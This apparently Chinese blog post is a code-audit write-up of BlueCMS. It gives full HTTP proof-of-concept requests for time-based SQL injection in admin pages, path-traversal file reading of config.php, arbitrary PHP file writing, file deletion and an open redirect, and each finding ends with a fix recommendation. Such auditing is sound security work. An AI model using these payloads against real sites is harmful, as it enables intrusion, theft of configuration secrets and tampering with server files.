2、Bluecms代码审计

一、SQL注入

1、后台本地新闻处删除本地新闻存在sql注入

漏洞条件

● 漏洞url:http://bulucms.com/admin/article.php?act=del&id=(select*from(select%2bsleep(3)union/**/select%2b1)a)
● 漏洞参数:act、id
● 漏洞位置:后台
● 是否存在限制:登录后台
● 是否还有其他条件:act=del

复现

payload:  (select*from(select+sleep(3)union/**/select+1)a)
GET /admin/article.php?act=del&id=(select*from(select%2bsleep(3)union/**/select%2b1)a) HTTP/1.1
Host: bulucms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bulucms.com/admin/index.php?act=menu
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=qlq28anq5pcbcprri2gg4fit92
Connection: close


在这里插入图片描述

133行的id是已经强制类型转换了,但是132行的id没有任何过滤

在这里插入图片描述

修复建议

将用户输入的内容验证和过滤,使用预编译或转义函数。

2、后台系统设置-操作日志管理删除处存在sql注入

漏洞条件

● 漏洞url:   http://bulucms.com/admin/admin_log.php-[POST]:checkboxes%5B%5D=%28select%2Afrom%28select%2Bsleep%282%29union%2F%2A%2A%2Fselect%2B1%29a%29&act=del
● 漏洞参数:checkboxes、act
● 漏洞位置:后台
● 是否存在限制:无
● 是否还有其他条件:act=del

复现

payload:(select*from(select+sleep(2)union/**/select+1)a)
POST /admin/admin_log.php HTTP/1.1
Host: bulucms.com
Content-Length: 99
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bulucms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bulucms.com/admin/admin_log.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=qlq28anq5pcbcprri2gg4fit92
Connection: close

checkboxes%5B%5D=%28select%2Afrom%28select%2Bsleep%282%29union%2F%2A%2A%2Fselect%2B1%29a%29&act=del

在这里插入图片描述

代码

$_POST['checkboxes']判断是数组就键值分离,将值带入sql语句执行,没有任何过滤

修复建议

将用户输入的内容验证和过滤,使用预编译或转义函数。

3、后台常用操作–导航管理–编辑处存在sql注入

漏洞条件

● 漏洞url:http://bulucms.com/admin/nav.php?act=edit&navid=1+or+sleep(0.5)
● 漏洞参数:act、navid
● 是否存在限制:无
● 是否还有其他条件:act=edit

复现

功能位置--常用操作--导航管理--编辑
测试payload:+or+sleep(0.5)
GET /admin/nav.php?act=edit&navid=1+or+sleep(0.5) HTTP/1.1
Host: bulucms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bulucms.com/admin/nav.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ppvkgqkq0f8o4er4e424b3e9h1
Connection: close


代码

接受的navid变量是直接拼接在数据库接受的,输入什么就会直接拼接sql查询语句取数据库查,没有任何过滤

修复建议

将用户输入的内容验证和过滤,使用预编译或转义函数。

4、后台分类信息–模型管理–删除处存在sql注入

漏洞条件

● 漏洞url:http://bulucms.com/admin/model.php?act=del&model_id=2+or+sleep(2)
● 漏洞参数:act、model_id
● 是否存在限制:无
● 是否还有其他条件:act=del

复现

GET /admin/model.php?act=del&model_id=2+or+sleep(2) HTTP/1.1
Host: bulucms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bulucms.com/admin/index.php?act=menu
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ppvkgqkq0f8o4er4e424b3e9h1
Connection: close


在这里插入图片描述

代码

进入第三个条件语句,要让数据库里有数据才能删除成功,给model_id赋值

在这里插入图片描述

修复建议

将用户输入的内容验证和过滤,使用预编译或转义函数。

5、后台分类信息–附加属性管理–删除存在sql注入

漏洞条件

● 漏洞url: http://bulucms.com/admin/attachment.php?act=del&att_id=2+or+sleep(2)
● 漏洞参数:act、att_id
● 是否存在限制:无
● 是否还有其他条件:act=del

复现

GET /admin/attachment.php?act=del&att_id=2+or+sleep(2) HTTP/1.1
Host: bulucms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bulucms.com/admin/attachment.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ppvkgqkq0f8o4er4e424b3e9h1
Connection: close


代码

也是从拼接的sql语句里直接接受的参数变量没有任何过滤

修复建议

将用户输入的内容验证和过滤,使用预编译或转义函数。

6、后台模块管理–广告管理–编辑存在sql注入

漏洞条件

● 漏洞url: http://bulucms.com/admin/ad.php?act=edit&ad_id=3+or+sleep(0.5)
● 漏洞参数:act、ad_id
● 是否存在限制:无
● 是否还有其他条件:act=edit;

复现

GET /admin/ad.php?act=edit&ad_id=3+or+sleep(0.5) HTTP/1.1
Host: bulucms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bulucms.com/admin/ad.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bl3qc9geb0lfhf4luh19ngs7h3
Connection: close


在这里插入图片描述

代码

103行get接受参数ad_id。只判断是否存在值两边去除空没有任何过滤

在这里插入图片描述

修复建议

将用户输入的内容验证和过滤,使用预编译或转义函数。
以及其他功能存在sql注入:
	后台模块管理--电话广告位--编辑--提交更新存在sql注入
	后台模块管理--电话广告位--删除存在sql注入
	后台会员管理--会员列表--编辑存在sql注入
	前台sql注入
	前端注册邮箱处存在sql注入
	前端注册邮箱处存在sql注入
	前端评论留言处存在sql注入

二、文件操作

1、后台任意文件读取

漏洞条件

● 漏洞url: http://bulucms.com/admin/tpl_manage.php?act=edit&tpl_name=../../data/config.php
● 漏洞参数:act、tpl_name
● 漏洞位置:后台
● 是否存在限制:无
● 是否还有其他条件:act=edit

复现

功能位置--系统设置--模板管理--编辑
GET /admin/tpl_manage.php?act=edit&tpl_name=../../data/config.php HTTP/1.1
Host: bulucms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bulucms.com/admin/tpl_manage.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=jpimqam7eiq12p051tp1p0ua81
Connection: close


在这里插入图片描述

代码

fopen() 函数打开文件或者 URL。如果打开失败,本函数返回 FALSE。
get方式接受参数,接受一个文件没有过滤../,直接打开

在这里插入图片描述

修复建议

修复任意文件读取漏洞:严格限制用户输入、实施有效的文件路径验证、避免动态拼接用户输入构建文件路径、限制访问权限、定期检查和清理、记录文件访问活动。

2、后台任意文件写入

漏洞条件

● 漏洞url:http://bulucms.com/admin/tpl_manage.php-[POST]:
tpl_content=<?php+phpinfo();?>&tpl_name=../../../3.php&act=do_edit
● 漏洞参数:tpl_content、tpl_name、act
● 漏洞位置:后台
● 是否存在限制:无
● 是否还有其他条件:act=do_edit

复现

功能位置--系统设置--模板管理--编辑提交
直接写一个文件以及有危害的内容
POST /admin/tpl_manage.php HTTP/1.1
Host: bulucms.com
Content-Length: 47
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bulucms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bulucms.com/admin/tpl_manage.php?act=edit&tpl_name=ann.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=jpimqam7eiq12p051tp1p0ua81
Connection: close

tpl_content=aaaaaaaa&tpl_name=1.php&act=do_edit

在这里插入图片描述

可实现跨目录创建和写入
POST /admin/tpl_manage.php HTTP/1.1
Host: bulucms.com
Content-Length: 72
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bulucms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bulucms.com/admin/tpl_manage.php?act=edit&tpl_name=ann.htm
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8jtsuca31sj4t3umsm7o1o6eg7; detail=4
Connection: close

tpl_content=<%3fphp+phpinfo()%3b%3f>&tpl_name=../../../3.php&act=do_edit

在这里插入图片描述

代码

fopen(   ,wb)如果文件存在直接写入,不存在就创建文件

在这里插入图片描述

3、用户后台修改资料处存在任意文件删除

漏洞条件

● 漏洞url: http://bulucms.com/user.php-[POST请求]
● 漏洞参数:face_pic3
● 是否存在限制: 用户需要登录
● 是否还有其他条件:face_pic1为空

复现

POST /user.php HTTP/1.1
Host: bulucms.com
Content-Length: 1479
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bulucms.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0q2hPmZueKs7y3Vr
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bulucms.com/user.php?act=my_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bfco4tm9tbkvjjg9vfm24ups41; detail=4
Connection: close

------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="face_pic1"


------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="face_pic2"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="birthday"

2023-12-03
------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="sex"

0
------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="email"

222@qq.com
------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="msn"

111
------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="qq"

222
------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="office_phone"

333
------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="home_phone"

444
------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="mobile_phone"

555
------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="address"

666
------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="act"

edit_user_info
------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="submit"

È·ÈÏÐÞ¸Ä
------WebKitFormBoundary0q2hPmZueKs7y3Vr
Content-Disposition: form-data; name="face_pic3"

2.txt
------WebKitFormBoundary0q2hPmZueKs7y3Vr--

在这里插入图片描述

代码

face_pic1不为空就会上传,为空就直接删除face_pic3接收的变量

在这里插入图片描述

修复建议

限制用户输入、验证和过滤文件路径、避免动态构建用户输入的删除路径、设置合适的文件权限、定期备份和监控文件删除活动。
以及其他三处任意文件删除:
	后台信息管理处存在任意文件删除
	后台友情链接处编辑存在任意文件删除
	用户后台分类信息--发布分类信息存在任意文件删除

三、前端注册处存在url跳转

漏洞条件

● 漏洞url: http://bulucms.com/user.php-[POST]:referer=&user_name=00000&pwd=098765&pwd1=098765&email=qq%40qqqq.com&safecode=bwvy&from=d3d3LmJhaWR1LmNvbQ==&act=do_login
● 漏洞参数:from
● 是否存在限制: from需要base64
● 是否还有其他条件:safecode验证码需要随机获取;act=do_login

复现

POST /user.php HTTP/1.1
Host: bulucms.com
Content-Length: 120
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bulucms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bulucms.com/user.php?act=reg
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bfco4tm9tbkvjjg9vfm24ups41; detail=2
Connection: close

referer=&user_name=00000&pwd=098765&pwd1=098765&email=qq%40qqqq.com&safecode=bwvy&from=d3d3LmJhaWR1LmNvbQ==&act=do_login

在这里插入图片描述

代码

$from变量不为空,将接受的变量base64编码。其他条件成立就会直接跳到传进来的值

在这里插入图片描述
在这里插入图片描述

修复建议

验证和过滤所有用户提供的重定向 URL,只允许合法的、事先定义好的目标地址。
  • 7
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值